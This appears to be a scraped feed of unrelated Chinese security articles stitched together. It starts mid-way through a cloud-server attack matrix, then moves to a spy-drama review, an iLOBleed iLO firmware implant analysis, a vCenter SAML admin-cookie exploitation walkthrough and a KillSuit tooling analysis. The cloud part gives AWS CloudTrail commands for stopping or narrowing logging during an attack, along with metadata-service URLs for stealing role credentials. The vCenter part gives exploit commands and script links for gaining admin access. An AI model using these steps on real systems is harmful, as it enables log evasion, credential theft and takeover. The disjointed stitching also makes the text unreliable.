aws cloudtrail update-trail --name [my-trail] --no-is-multi-region-trail --no-include-global-service-events

監控區域外進行攻擊

雲平台提供的安全監控服務，默認情況下是進行全區域安全監控，但是在一些場景中可能出現一些監控盲區，例如用戶在使用安全監控服務時，關閉了全區域監控，僅開啟部分區域的監控，以AWS CloudTrail為例，可以使用如下指令來查看CloudTrail的監控範圍，並尋找監控外的雲主機進行攻擊以防止觸發安全告警：

aws cloudtrail describe-trails

禁用日誌記錄

與直接關閉安全監控服務相比，攻擊者可以通過禁用平台監控告警日誌的方式進行防禦繞過，並在攻擊流程結束後再次開啟告警日誌。以AWS CloudTrail為例，攻擊者可以通過使用如下指令關閉CloudTrail日誌

aws cloudtrail stop-logging --name [my-trail]

並在攻擊完成後，使用如下指令再次開啟日誌記錄功能：

aws cloudtrail start-logging --name [my-trail]

日誌清理

攻擊者在完成攻擊流程後，可以刪除監控服務日誌以及雲主機上的日誌，以防攻擊行為暴露。

通過代理訪問

大多數雲服務器提供操作日誌記錄功能，將記錄時間、操作內容等。攻擊者可以利用代理服務器來隱藏他們真實IP。

竊取憑證獲取服務器實例登錄憑據

當攻擊者獲取雲服務器實例的控制權後，可以通過一些方式獲取服務器上用戶的登錄憑據，例如使用mimikatz抓取Windows憑證，並將獲取到的這些登錄憑據應用到後續的攻擊流程中。

元數據服務獲取角色臨時憑據

雲服務器為用戶提供了一種每名實例元數據的服務，元數據即表示實例的相關數據，可以用來配置或管理正在運行的實例。用戶可以通過元數據服務在運行中的實例內查看實例的元數據。以AWS舉例，可以在實例內部訪問如下地址來查看所有類別的實例元數據：

http://169.254.169.254/latest/meta-data/

在雲服務器使用過程中，戶可以將角色關聯到雲服務器實例。使用元數據服務可以查詢到此角色名稱以及角色的臨時憑據，以AWS為例，可以通過如下請求獲取角色名稱：

http://169.254.169.254/latest/meta-data/iam/info

在獲取到角色名稱後，可以通過以下鏈接取角色的臨時憑證：

http://169.254.169.254/latest/metadata/iam/security-credentials/rolename

獲取配置文件中的應用憑證

雲服務器應用中的配置文件中可能存儲著一些敏感信息，例如一些應用的訪問憑據或是登錄密碼，攻擊者可以在雲服務器中搜尋這些配置文件，並將其中的敏感數據進行竊取並在後續的攻擊中加以利用。

雲服務憑證洩露

在雲服務器實例中運行應用程序中，往往使用環境變量或是硬編碼的方式明文存儲雲服務憑據，應用程序使用這些憑據調用其他雲上服務的憑據，攻擊者可以通過讀取環境變量中的參數，或是分析應用程序代碼的方式獲取這些憑據，以此獲取其他雲服務的憑據，甚至是雲平台主API密鑰。

用戶賬號數據洩露

在一些場景中，開發者使用對象存儲服務存儲其業務中的用戶數據，例如用戶的姓名、身份證號碼、電話等敏感數據，當然也會包含用戶賬號密碼等憑據信息。

攻擊者通過對存儲桶中用戶數據的提取與分析以竊取這些用戶的憑據數據，並通過獲取的信息進行後續的攻擊。

探測雲資產探測

攻擊者在探測階段，會尋找環境中一切可用的資源，例如實例、存儲以及數據庫服務等。

通常攻擊者可以使用雲平台提供的API或工具來完成雲資產探測，通過發出命令等方法來蒐集基礎設施的信息。以AWS API接口為例，可以使用DescribeInstances接口來查詢賬戶中一個或多個實例的信息，或是使用ListBuckets API接口來查詢目標存儲桶列表信息。

網絡掃描

與傳統的內網掃描類似，攻擊者在此階段也會嘗試發現在其他雲主機上運行的服務，攻擊者使用系統自帶的或上傳至雲服務實例的工具進行端口掃描和漏洞掃描以發現那些容易受到遠程攻擊的服務。此外，如果目標雲環境與非雲環境連同，攻擊者也可能能夠識別在非雲系統上運行的服務。

橫向移動使用實例賬號爆破

當攻擊者在竊取憑據階段，在實例中成功獲取了有效的賬號信息後，攻擊者可以利用這些賬號數據製作賬號字典並嘗試爆破目標的雲資產或非雲資產，並橫向移動到這些資產中。

通過控制台權限橫向移動

當攻擊者獲取了目標控制台權限後，可以通過控制台提供的功能，橫向移動到目標用戶的其他雲資產中。

竊取角色臨時憑據橫向訪問

攻擊者通過實例元數據服務，可以獲取與實例綁定的角色的臨時憑據，攻擊者可以利用獲取的角色臨時憑據，橫向移動到角色權限範圍內的雲資產中。

竊取憑據訪問云服務

通過雲服務器中Web應用程序源代碼的分析，攻擊者可能會從Web應用程序的配置文件中獲取的應用開發者用來調用其他雲上服務的憑據。攻擊者利用獲取到的雲憑據，橫向移動到用戶的其他雲上業務中。如果攻擊者獲取到的憑據為雲平台主API密鑰，攻擊者可以通過此密鑰橫向移動到用戶的其他雲資產中。

竊取用戶賬號攻擊其他應用

攻擊者通過從雲服務器中竊取的用戶賬號數據，用以橫向移動至用戶的其他應用中，包括用戶的非雲上應用。

影響竊取項目源碼

攻擊者通過下載雲服務器中的應用程序源碼，造成源碼洩露事件發生。通過對源碼的分析，攻擊者可以獲取更多的可利用信息。

竊取用戶數據

當用雲服務器中以文件、數據庫或者其他形式保存用戶數據時，攻擊者通過攻擊雲服務器以竊取用戶敏感數據，這些信息可能包含用戶的姓名、證件號碼、電話、賬號信息等，當用戶敏感信息洩露事件發生後，將會造成嚴重的影響。

破壞文件

攻擊者在獲取雲服務器控制權後，可能試圖對雲服務器中的文件進行刪除或者覆蓋，以達到破壞服務的目的。

c

除了刪除以及覆蓋雲服務器文件之外，攻擊者可以對雲服務器中文件進行篡改，通過修改應用程序代碼、文本內容、圖片等對像以達到攻擊效果。在一些場景中，用戶使用雲服務器部署靜態網站，攻擊者通過篡改其中頁面內的文本內容以及圖片，對目標站點造成不良的影響。

植入後門

攻擊者在雲服務器應用中插入惡意代碼，或者在項目目錄中插入後門文件，攻擊者可以利用這些後門發起進一步的攻擊。

加密勒索

在獲取雲服務器控制權後，攻擊者可能會對雲服務器上的文件進行加密處理，從而勒索用戶，向用戶索要贖金。

寫在後面雲服務器作為一個基礎而又重要的雲產品，面臨著眾多的安全挑戰。深入了解雲服務器存在的風險點以及對應的攻擊手段，可以有效的保障用戶在使用雲服務器時的安全性。

在騰訊安全雲鼎實驗室推出《云安全攻防矩阵》 中，用戶可以根據矩陣中所展示的內容，了解當前環境中所面臨的威脅，並以此制定監測手段用以發現風險，詳見騰訊安全雲鼎實驗室攻防組官網：

https://cloudsec.tencent.com/#/home

除《云安全攻防矩阵v1.0》 中已包含的產品外，騰訊安全雲鼎實驗室制定了雲安全攻防矩陣未來發布計劃，以雲產品以及業務為切入點，陸續發布雲數據庫、人工智能、雲物聯網等雲安全攻防矩陣。

云服务器攻防矩阵.png

HireHackking

篇首語：過去的一個月非常忙碌，RC2實驗室剛剛結束了第一期為期15天的『LEVEL-4 TSCM反竊密專家課程』，確實累得夠嗆。

LEVEL-4合集.jpg

元旦三天假期，終於可以安心刷完這部國產反諜劇《对手》 ，想著趕緊寫個劇評，分享給大家，結果又拖到了今天.

对手第09集[00_17_20][20220107-145033].png

注：一直以來，感謝大家的支持，2021很不容易，2022我們會更加努力。

01 新劇介紹看膩了什麼民國時期的諜戰劇，基本上楊叔一看到官方介紹上有什麼小鮮肉，或者人物個個都是光鮮帥氣，就覺得可以不用浪費時間了。

.咳咳，直到這部劇的出現：《对 手》

536ec1ddc7bf4ae3ba5f40d337dcbb14.jpeg

先引用下網上的官方介紹：

電視劇《对手》 是愛奇藝出品，海東明日影視聯合出品，由盧倫常執導，郭京飛、譚卓、顏丙燕、寧理領銜主演，孫佳雨、王天辰、劉帥良主演，何藍逗聯合主演，黃堯、張月特別主演的當代都市諜戰劇，講述了和平年代的“諜戰”故事。

《对手》 講述了國家安全警察在日常生活中尋找間諜線索的故事，他們憑藉著精湛的偵查能力，為了國家和人民的安居樂業，克服了一切困難，最後贏得了勝利。

对手第09集[00_10_22][20220104-010235].png

02 關於技術竊密的一些片段還是聊聊劇中的技術吧~

之前楊叔在分享電影《扫黑 • 决战》 時說過，國產電影電視劇中很少出現跟踪、技術竊密的場景，有朋友留言說是國情不允許啊之類。

其實按照國內這些年引進的這麼多相關內容的歐美港台電影來看，比如《窃听风云》 系列，《碟中谍》 等，說國情不允許肯定是誇張了。

楊叔：“相信最主要的原因還是導演、編劇的意識理念缺乏所致。”

所以，在《对手》 這部劇裡，這方面的情節展現就顯得特別亮眼。

場景1 部署竊聽器材郭京飛飾演的潛伏間諜“桃園”，在某總工辦公室安裝無線發射功能的竊聽器。

对手第09集[00_39_04][20220106-235619].png

对手第06集[00_32_30][20220106-234125].png

对手第09集[00_40_12][20220106-235843].png

对手第09集[00_40_33][20220106-235400].png

這樣，境外間諜組長林彧，就能從遠程竊聽辦公室裡的內容。這個設定屬於典型的技術竊密手段。

場景2 無線竊聽器為了監聽及控制，境外潛伏間諜在女孩包里安裝了無線竊聽器，在被國安丁曉禾發現後，迅速開展了緊急線人保護流程處理。

对手第32集[00_26_43][20220107-004835].png

对手第32集[00_27_48][20220107-004957].png

对手第32集[00_35_06][20220107-005241].png

劇中發現竊聽器材後的處理流程非常緊湊、專業。

場景3 部署偷拍器材郭京飛在獲得女兒男友家的地址後，為了方便後續監視，在對方屋頂射燈裡，安裝了一個針孔偷拍器材（桃園同學可真是“全才”啊圖片）

对手第17集[00_34_37][20220107-003003].png

对手第17集[00_34_42][20220107-003015].png

对手第17集[00_34_50][20220107-003031].png

佈置在射燈光源側方上的這種“光源盲區”部署手法，有點技術含量，很符合角色定義。

場景4 使用EMP開智能門鎖郭京飛在進入某個高檔小區的一戶時，手持EMP設備破壞智能門鎖，從而實習物理滲透。

对手第11集[00_18_50][20220107-000537].png

場景5 保險櫃的技術開鎖郭京飛使用隨身的器材，對個人保險櫃開展技術開鎖。

对手第11集[00_20_32][20220107-000829].png

对手第11集[00_20_51][20220107-000616].png

場景6 紫外線勘查痕跡郭京飛使用紫外線燈，查看對方在電梯裡按下的樓層按鍵。

对手第11集[00_18_26][20220107-000936].png

再比如社會工程學、莫爾斯電碼、徒步跟踪、暗語等等，還有很多場景都設計得很用心，哈哈，楊叔就不劇透了。

04 可以再加強的細節楊叔覺得整部劇中，有些細節還是可以再加強一下的，比如：

細節1 手持檢測設備郭京飛懷疑自家裡被裝了器材，於是開始對臥室進行排查。

令人無語的是，作為一部現代反諜劇，一位“專業間諜”，居然使用淘寶上購買的反偷拍設備？

而且這還並非是最新款，而是已經淘汰的10多年前華強北銷售的CC308系列。

对手第14集[00_01_59][20220107-145520].png

对手第14集[00_02_07][20220107-145553].png

可能有人會說，從淘寶上買設備是一種掩護，或者由於郭京飛沒錢，沒辦法購買昂貴的檢測設備（目前這款CC308也就是幾十元），更或者說這就是十多年潛伏時購置的，一直使用到現在。

聽起來似乎有那麼點道理，但是：

一，對比郭京飛在人家總工房間安裝無線電竊聽器這個場景，就知道他本身對竊聽器材功能肯定是熟悉的。

在這種設定前提下，對室內是否存在無線發射器材，使用一些具備無線偵測能力的專業檢測設備，相信更加符合人物設定。

下圖是RC2的Level-2 商業安全隱私保護課程現場，學員們使用專業手持檢測設備，開展室內物理安全檢測。

微信截图_20220109121217.png

二，作為民用的CC308產品質量很差，特別是電池無法拆卸這一點，基本上連續使用1個多月後就會出故障。這個糟糕的設計，現在還有很多國內設備在模仿。

楊叔2008年在華強北也買過這款，1個月後內置電池就鼓包廢掉了，我想導演一定不知道這一點圖片。

楊叔：這確實是一個小敗筆，還好瑕不掩瑜。

640.gif

細節2 監控軟件耳機劇中對無線竊聽的展示，讓人眼前一亮。

不過令人哭笑不得的是，劇中無論是國安的監控人員，還是境外潛伏間諜，居然用的都是同一個音頻監控軟件界面。

对手第13集[00_30_03][20220107-001758].png

对手第32集[00_27_03][20220107-004757].png

楊叔覺得：這肯定是技術/道具組偷懶了。

這款名為”Adobe Audition CC 2018”的軟件，確實是強大的音頻工作站，可以用於創建、混合、編輯和復原音頻內容的多軌、波形和光譜顯示功能。

難道說行業裡這一款是爆款？雙方都在用？

更幽默的是，劇中雙方居然都用同一款甚至同一個型號的監聽耳機，我就D#@*？

对手第32集[00_27_48][20220107-004957].png

对手第13集[00_42_57][20220107-001954].png

对手第34集[00_19_59][20220107-005635].png

iSK給了多少廣告費？

哼，我大森海塞爾表示不服。

640 (2).gif

05 劇中的伏筆全劇中多次出現了國內“天網工程”和“情報大數據”方面的內容，盡顯技術監控能力。

对手第02集[00_38_50][20220106-233321].png

对手第02集[00_38_55][20220106-233334].png

不過導演在一邊肯定這些高新技術使用的同時，也指出了依然可能存在的死角。

比如劇中的國安警察黃海，在一個缺少公共治安攝像頭的背街小巷中，在手機信號被屏蔽後，就遭遇了殺手的埋伏，而自己的隊友由於沒辦法精准定位手機，險些就沒救上。

对手第35集[00_10_05][20220107-005937].png

对手第35集[00_11_08][20220107-010000].png

咳咳，劇情和結局就不劇透了，感興趣的朋友們趕緊去看。

2022，春節將至

希望大家都平平安安~

2022年1月，受國內多地疫情管控影響，年前線下公開隱私保護課程先行暫停。

為確保大家都能平安順利地參與課程，RC2將在春節後重新啟動，給大家造成不便，敬請諒解。

HireHackking

Implant.ARM.iLOBleed.a惡意軟件分析在本節中，我們將對HP iLO 固件中發現的植入程序進行技術分析。

當我們的安全分析團隊發現惡意軟件時，攻擊者決定擦除服務器的磁盤並完全隱藏他們的踪跡。有趣的是，攻擊者並會不斷擦除痕跡，他們將惡意軟件設置為每隔一段時間重複執行數據擦除。也許他們認為，如果系統管理員重新安裝操作系統，整個硬盤會在一段時間後再次被擦除。顯然，他們不認為他們的惡意軟件會被發現。

但與其他“wiper”惡意軟件不同，這不是一次性惡意軟件。它旨在長時間保持在雷達之下。此惡意軟件的重要功能之一是操縱iLO 固件升級例程，因此如果系統管理員嘗試將iLO 固件升級到新版本，惡意軟件會在阻止升級例程的同時模擬版本更改。為此，惡意軟件會假裝升級成功，並提供所有正確的消息和日誌。甚至固件版本的確切數量也被提取並顯示在Web 控制台和其他位置的適當位置，儘管實際上並未執行升級。

這就表明，該惡意軟件的目的是成為具有最大隱蔽性並躲避所有安全檢查的rootkit。一種惡意軟件，通過隱藏在最強大的處理資源之一（始終打開）中，能夠執行從攻擊者那裡收到的任何命令，而不會被檢測到。

很自然，執行的此類攻擊屬於APT 類別。但是，使用如此強大且成本高昂的惡意軟件來破壞數據，增加惡意軟件被檢測到的可能性的任務對於這些攻擊者來說似乎是一個明顯的錯誤。

iLO 轉儲實用程序檢查固件感染的第一步是準備一個副本或檢查所謂的固件轉儲。

不幸的是，HP沒有提供一個工具或方法來測試和讀取iLO固件。為此，編寫了一個固件轉儲工具被提上了日程，最終演變成了Padvish iLO Scanner工具，並演變為兩個版本：

從主機操作系統內部掃描：如前所述，iLO 固件可通過安裝在系統上的主處理器和操作系統作為PCI-Express 卡使用。 HP 為各種操作系統引入了一個名為flash_ilo 的工具，以允許將固件更新到較新的版本。但是，此工具只允許你寫入固件，而不允許你讀取現有固件。為此，基於在iLO 上獲得的知識，我們能夠開發一種工具來讀取固件並從中創建轉儲。

通過iLO網口進行掃描：由於通過主機操作系統進行掃描可能並不總是可行，而且網絡管理員可能很難在生產服務器上執行掃描，或者很難進行大量掃描，因此考慮了另一種掃描固件的方法。此版本的掃描器允許轉儲固件，方法是使用先前iLO 版本上的一些已知漏洞，使其能夠在易受攻擊的固件上遠程執行代碼。由於使用漏洞，該版本只能轉儲2.30到2.50範圍內的HP iLO4固件。

受感染的固件分析製作服務器固件副本後，應將其與原始固件版本進行比較。 Implant.ARM.iLOBleed.a 惡意軟件基於iLO 固件2.30 版。因此，該受感染版本與原始版本之間的差異如下圖所示。

7.png

固件簽名差異：（上）獲得的受感染轉儲，（下）惠普公司提供的原件

仔細觀察，還比較了文件系統級的兩個固件組件和模塊，如下表所示。

比較受感染系統固件模塊與原始版本的簽名8.png

如該表所示，在構成hpimage.bin 的所有模塊中，只有hpimage標頭文件和引導加載程序標頭文件兩部分是相同的。在其他部分中，簽名中的差異表明這兩個文件在這些部分之間存在差異。也可以看出，大部分變化都與ELF.bin模塊有關，而其他模塊只有2到12個字節的變化。

重啟後持久化任何類型的惡意軟件的開發人員擔心的一個問題是，在惡意軟件最初進入系統後，系統必須“保持”受感染狀態。

正如我們之前在“iLO 固件結構”一節中詳細介紹的，在iLO 啟動過程中，bootloader 模塊負責驗證操作系統內核的簽名，而係統的內核負責驗證用戶模式模塊的簽名。因此，如果攻擊者想要在iLO 固件上創建後門，除了插入後門（基本上在ELF.bin 文件中完成）之外，就必須在操作系統內核中禁用驗證機制，從而在引導加載程序中禁用驗證機制。

9.png

禁用操作系統內核和用戶模式模塊的驗證過程

上圖簡要描述了繞過操作系統內核和用戶模式模塊驗證過程的過程：攻擊者通過逆向工程提取bootloader.bin、kernel.bin 和ELF.bin 三個主要部分後，查找在引導加載程序和內核中執行簽名驗證和驗證操作的函數的地址，並將它們替換為NOP 命令。最後，將修改後的文件組合在一起形成一個完整的HP Image 文件，並作為新固件寫入SPI 閃存。重啟後，可以看到被感染的固件加載後門沒有任何問題。

惡意軟件模塊分析引導加載程序部分如表2 所示，Boot Loader 與原始固件相比更改了5 個字節。對這些字節的詳細分析表明，這種差異是由於負責驗證操作系統內核的功能發生了變化，並且正在通過替換NOP 命令禁用此過程。

10.png

禁用Bootloader 中的簽名驗證功能

內核部分如表2 所示，內核從原始固件更改了12 個字節。對這一變化的更詳細分析表明，這種差異是由於負責驗證UserLand 簽名並通過替換3 個NOP 命令禁用此過程的功能發生了變化。

11.png

禁用內核中的簽名驗證功能

UserLand 部分提取受感染固件的UserLand 部分並將其內容與原始版本進行比較，表明刪除了一個文件（sectionInfo）並添加了一個新模塊（稱為newELF，包含17 個單獨的部分）。此外，除了添加新的惡意軟件模塊外，原始版本中的許多模塊也發生了變化。

12.png

受感染系統硬件中的修改文件

在本節中，將該惡意軟件中原始版本的模塊與修改後的模塊進行比較，結果如下表所示。

帶有NewELF 的iLO 版本與原始版本的比較13.png

惡意軟件工件

Implant.ARM.iLOBleed.a 惡意軟件在iLO（也稱為NAND 閃存）的工作區存儲中創建3 個文件。這些文件的路徑甚至名稱似乎都可以通過配置器模塊進行配置。在我們獲得的惡意軟件樣本中，這三個文件分別命名為lifesignal.bin、schedule.bin 和fakefwdata.bin。

惡意軟件使用的三個文件14.png

如果系統管理員嘗試升級其服務器的固件版本，惡意軟件會在阻止和模擬固件升級操作以欺騙系統管理員的同時，在fakefwdata.bin 文件中輸入此操作的信息。

如其名稱所示，schedule.bin文件用於調度磁盤擦除操作。在這個文件中，存儲了兩個4字節的整數：一個計數器和一個日期紀元。前4個字節的數字(計數器)被設置為一個初始值，並在每次執行磁盤擦除過程時減少1。此操作按週期重複，直到計數器為零。第二個數字(日期)表示磁盤擦除進程的開始日期。

15.png

文件schedule.bin 的內容

“newELF”模塊內部這個模塊是一個完整的ELF，添加到Boottable的末尾，增加一個單元的進程數。此ELF 與此固件中的其他ELF 一樣，由幾個基本組件組成。第一部分是NewELF.ELF.Initial.text，與其他ELF 不同，它不是空的，並且包含代碼。仔細觀察會發現，該部分與ConAppCLI.ELF.text 非常相似，後者是iLO 硬件的主要模塊之一。表5 顯示了這兩個模塊之間的一般比較，顯示了它們的差異。這些相似之處表明Implant.ARM.iLOBleed.a 惡意軟件的基本結構是基於ConAppCLi 模塊的功能。

ConAppCLI.ELF.text 和NewELF.ELF.Initial.text 之間的比較

16.png

惡意軟件的另一個基本部分是NewELF.ELF.text，下圖顯示了該惡意軟件的主要功能。該函數的主要任務之一是設置一個確定惡意軟件操作主要參數的數據結構，其中一部分已如上圖所示。在該函數的開頭，schedule.bin文件的地址為複製到一個變量，指向這個地址的指針複製到數據結構的0x0c地址。

17.png

惡意軟件的主要函數

接下來，在另一個名為initOperationConfigFiles 的函數中，檢查惡意軟件所需文件的狀態。在這個函數中，首先創建lifesignal.bin文件，然後滿足以下條件：

如果schedule.bin 文件存在並且具有有效的結構，則其內容將被複製到數據結構的地址0 到0x07，並且值0x3 將寫入lifesignal.bin 文件。

如果相關地址中不存在schedule.bin 文件，則會創建並填充初始值。之後，數據結構就被完全填滿了。

如果schedule.bin 文件的結構無效，則會在lifesignal.bin 文件中寫入0x9。

18.png

惡意軟件運行參數的數據結構

如前所述，schedule.bin 文件由兩個4 字節的數字組成。在操作開始時，在initOperationConfigFiles 函數中，計數器編號設置為maxOperationCount（地址0x24 數據結構），日期編號設置為所需的時間和命令執行的日期。在惡意軟件的一個樣本中，重複操作的最大值設置為0x2，而在另一個樣本中設置為0x3e8（相當於1000 次）。

在檢查了執行擦除操作的適當條件後，該操作將在startPeriodicOperation 函數中開始。此函數在第一步中創建並填充具有最大操作長度的數據結構數組。這些數據結構中的每一個都使用不同的執行時間值進行評估。該設置使得惡意軟件在初始等待時間（例如36 小時）的基礎上增加了各種操作週期（例如12 小時）的倍數，並將該值記錄在每個數據結構的0x1C 地址處。在這種情況下，操作在從schedule.bin 文件中記錄的時間開始的等待時間（36 小時）之後開始，並在每個週期重複。最後調用startWipeOperation 函數，執行磁盤擦除操作。

19.png

startPeriodicOperation 的函數體

startWipeOperation 函數在循環中執行擦除操作，如下圖所示。在此循環開始時，名為GetAndValidateOperationParameters 的函數檢查操作參數的準確性併計算剩餘的操作數。實際上，在名為SuccessfulOperationCount 的變量中執行的操作數被提取並檢查，以便獲得的數不超過計數器的最大值。

20.png

startWipeOperation 的函數體

下一個函數是WaitForNextOperationTarget 函數，其內容如下圖所示。該函數的職責是在主循環中創建中斷，直到到達下一個操作時間。在指定的時間，此函數退出其循環，操作的主循環繼續操作。

21.png

WaitForNextOperationTarget 的函數體

在主循環的下一部分中，執行擦除磁盤操作並完全擦除服務器的硬盤。擦除操作完成後，schedule.bin 文件由DecrementOperationCount 函數更新，並減少一個計數器。 DecrementOperationCount 函數的主體如下圖所示。

22.png

DecrementOperationCount 的函數體

修改後的模塊分析該惡意軟件包含一些iLO 模塊的修改版本，其中一些模塊被修改以防止原始函數或以其他方式更改它。惡意軟件中有6 個修改後的模塊，如下所示：

惡意軟件修改模塊

23.png

總結固件安全近年來已經成為IT安全中的一個重要問題，但在實際應用中還沒有得到足夠的重視。由於HP iLO 管理工具具有的功能和高級別的訪問權限，它需要特殊的保護方法。不幸的是，由於缺乏工具和信息以及iLO 技術的專有性質，許多安全研究人員無法研究這些系統。更糟糕的是，儘管安全研究人員過去發表的研究已經證明了惡意軟件嵌入軟件的可能性，但仍然沒有公開可用的解決方案來檢測感染並在感染髮生時將其阻止。

另一個重點是，有一些方法可以通過網絡和主機操作系統訪問和感染iLO。這意味著即使iLO 網線完全斷開，仍然存在感染惡意軟件的可能。有趣的是，如果不需要iLO，則無法完全關閉或禁用iLO。

這些問題表明需要採取預防性安全措施來提高固件的安全性，例如更新到製造商提供的最新版本、更改管理員密碼以及將iLO 網絡與操作網絡隔離，最後，定期監測固件的安全參數和潛在感染狀態。

保護建議請勿將iLO 網絡接口連接到操作網絡並臨時搭建一個完全獨立的網絡；

定期將iLO 固件版本更新到HP 的最新官方版本；

在HP服務器上執行iLO安全設置，並禁用G10 服務器的降級；

使用縱深防禦策略降低風險並在到達iLO 之前檢測潛在的攻擊；

定期使用iLO Scanner 工具檢測當前版本的iLO 服務器固件中的潛在漏洞、惡意軟件和後門

HireHackking

0x00 前言我最近學到的一個利用方法：在vCenter上使用管理員權限，從/storage/db/vmware-vmdir/data.mdb提取IdP證書，為管理員用戶創建SAML請求，最後使用vCenter server進行身份驗證並獲得有效的管理員cookie。

直觀理解：從vCenter本地管理員權限到VCSA管理面板的管理員訪問權限。

學習資料：

https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/

https://github.com/horizon3ai/vcenter_saml_login

本文將要在學習資料的基礎上，完善代碼，增加通用性，結合利用思路給出防禦建議。

0x01 簡介本文將要介紹以下內容：

◼方法復現

◼腳本優化

◼利用思路

◼防禦建議

0x02 方法復現在Kali系統下進行測試

安裝Openssl：

aptinstallpython3-openssl1.從vCenter獲得數據庫文件路徑：/storage/db/vmware-vmdir/data.mdb

需要vCenter管理員權限

2.運行腳本下載地址：

https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py

命令參數示例：

python3./vcenter_saml_login.py-t192.168.1.1-pdata.mdb命令行返回結果：

JSESSIONID=XX533CDFA344DE842517C943A1AC76113.登錄VCSA管理面板訪問https://192.168.1.1/ui

設置Cookie: JSESSIONID=XX533CDFA344DE842517C943A1AC7611

成功以管理員身份登錄管理面板

0x03 腳本優化通常data.mdb的大小至少為20MB

為了減少交互流量，選擇將vcenter_saml_login.py修改成能夠直接在vCenter下使用

注：

vCenter默認安裝Python

在腳本修改上具體需要考慮以下問題：

1.去掉引用第三方包bitstring我採用的方式是將第三方包bitstring的內容進行精簡，直接插入到Python腳本中

2.避免使用f-字符串格式化Python3.6新增了一種f-字符串格式化

vCenter 6.7的版本為Python 3.5.6，不支持格式化的字符串文字前綴為”f”

我採用的方式是使用format實現格式化字符串

例如：

cn=stream.read(f'bytes:{cn_len}').decode()替換為：

cn=stream.read('bytes:{}'.format(cn_len)).decode()完整代碼已上傳至Github，地址如下：

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py

vCenter_ExtraCertFromMdb.py可上傳至vCenter後直接執行，執行後會得到以下四個重要的參數：

domain，在命令行顯示

idp_cert，保存為idp_cert.txt

trusted_cert_1，保存為trusted_cert_1.txt

trusted_cert_2，保存為trusted_cert_2.txt

接下來，可在任意主機上為管理員用戶創建SAML請求，使用vCenter server進行身份驗證並獲得有效的管理員cookie，完整代碼已上傳至Github，地址如下：

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py

參數說明如下：

target: VCSA管理面板的URL

hostname: 對應VCSA管理面板的證書Subject屬性中的CN

domain: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得

idp_cert path: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得

trusted_cert_1 path: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得

trusted_cert_2 path: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得

0x04 利用思路1.從vCenter本地管理員權限到VCSA管理面板的管理員訪問權限前提：通過漏洞獲得了vCenter本地管理員權限

利用效果：

獲得VCSA管理面板的管理員訪問權限，能夠同vCenter可管理的虛擬機進行交互

注：

此時還可以通過《vSphere开发指南5——LDAP》 中介紹的方法通過LDAP數據庫添加管理員用戶，進而同vCenter可管理的虛擬機進行交互

2.從vCenter備份文件中得到data.mdb前提：需要獲得正確的data.mdb文件

利用效果：

獲得VCSA管理面板的管理員訪問權限，能夠同vCenter可管理的虛擬機進行交互

0x05 防禦建議1.更新補丁，避免攻擊者獲得vCenter本地管理員權限

2.避免在用的vCenter備份文件洩露

0x06 小結本文介紹了vcenter_saml_login的優化思路，增加通用性，結合利用思路給出防禦建議。

HireHackking

01.png

KillSuitKillSuit (KiSu)是一個不尋常的插件，一旦部署在受害設備上，它的整個任務就是運行其他插件，為持久性和規避提供框架。一些DanderSpritz 插件可以單獨運行，也可以通過KillSuit 調用。它的設計使得在受害者端運行的每個KillSuit 實例都可以託管一個工具（例如下面的MistyVeal）；因此，很容易發生受害者設備上安裝了多個KillSuit 實例，每個實例都託管不同的post-exploitation工具。每個KillSuit 實例的數據，包括其所有模塊，都在註冊表項中保持加密。這是KillSuit 獨有的功能，通常不是DanderSpritz 插件的功能。

DoubleFeature 記錄了大量與KillSuit 相關的數據。實際上，DoubleFeature 內部也有一些死代碼，允許刪除、升級和推送模塊更新到運行的KillSuit 實例中。雖然“KillSuit”是在DoubleFeature 內部和攻擊者實際調用的外層DanderSpritz CLI 中使用的名稱，但實際上內部使用的Plugin 文件夾名稱是DecibalMinute（簡稱DeMi）。 Python UI 邏輯主要可以在3 個腳本中找到，不出所料，它們位於在插件的pyscripts 目錄中。

“Mcl_Cmd_DiBa_Tasking.py”：處理KiSu 安裝、卸載和升級。作為參數，此腳本接受要使用的持久性機制的類型；有4 種類型的持久性，命名為“Default”, “Launcher”, “SoTi” 和“JuVi”。我們將在下面進一步詳細說明它們的內部工作原理。在底層，Python UI通過RPC調用(RPC_INFO_INSTALL)實現這一點。

“Mcl_Cmd_KisuComms_Tasking.py”：用於與受害者端正在運行的KillSuit實例建立連接，並提供動態加載和卸載模塊/驅動程序的功能。

“_KiSu_BH_enable.py”：KillSuit 的一個內部驅動程序稱為“BroughtHotShot”，簡稱BH。此腳本不會啟用它，但會檢查它是否已被啟用（通過DanderSpritz 命令可用-command kisu_install -isloaded 和可用-command kisu_install -load）。如果要啟用驅動程序，則需要執行KiSu_BH_enable.py on，禁用則是KiSu_BH_enable.py off。

“Mcl_Cmd_KiSuFullList_Tasking.py”：生成目標設備上當前KiSu 安裝的列表。在後台，這是通過調用kisu_list DanderSpritz 命令完成的，然後對於每個返回的安裝，通過DanderSpritz 命令kisu_config -instance id -checksum 來獲取它的配置。此配置包含各種技術細節，例如KillSuit 版本、安裝的註冊表項和值、內核和用戶模塊的加載程序、用於保存託管插件模塊的加密虛擬文件系統的目錄、已被安裝的合法驅動程序通過將託管插件注入其中，以及在受害者上啟動KillSuit 時內部使用的標誌而受害。

每個KillSuit 實例都有一個內部記錄，其中包含該實例中託管的工具的“ID”，每個工具的ID 都是相同的。我們發現DoubleFeature 內部引用了以下可能的實例：

PC (PeddleCheap) –0x7A43E1FA：提供一個交互式shell和一些長期持久性的功能。本身也可用作post-exploitation工具，並且可以在受感染的主機上安裝其他KillSuit 實例。

UR (UnitedRake) ：0x91FD378（同上）；

STLA (StrangeLand)/GROK –0x1A0F5582，這些都是鍵盤記錄器，他們的加密日誌存儲在名稱格式為tm154*.da 的文件中；

SNUN (SnuffleUnicorn) –0x23A4732A；

WRWA (WraithWrath) –0x502BB710；

SLSH (SleepySheriff) –0x32A7032D；

WORA (WoozyRamble) –0x68A40E49；

TTSU (TiltTsunami) -0x8F1D6511；

SOKN (SoberKnave) -0x8F1D6510：該工具具有通過未使用/禁用的WiFi卡進行數據溢出的功能，它被用於氣隙系統（airgapped）目標。

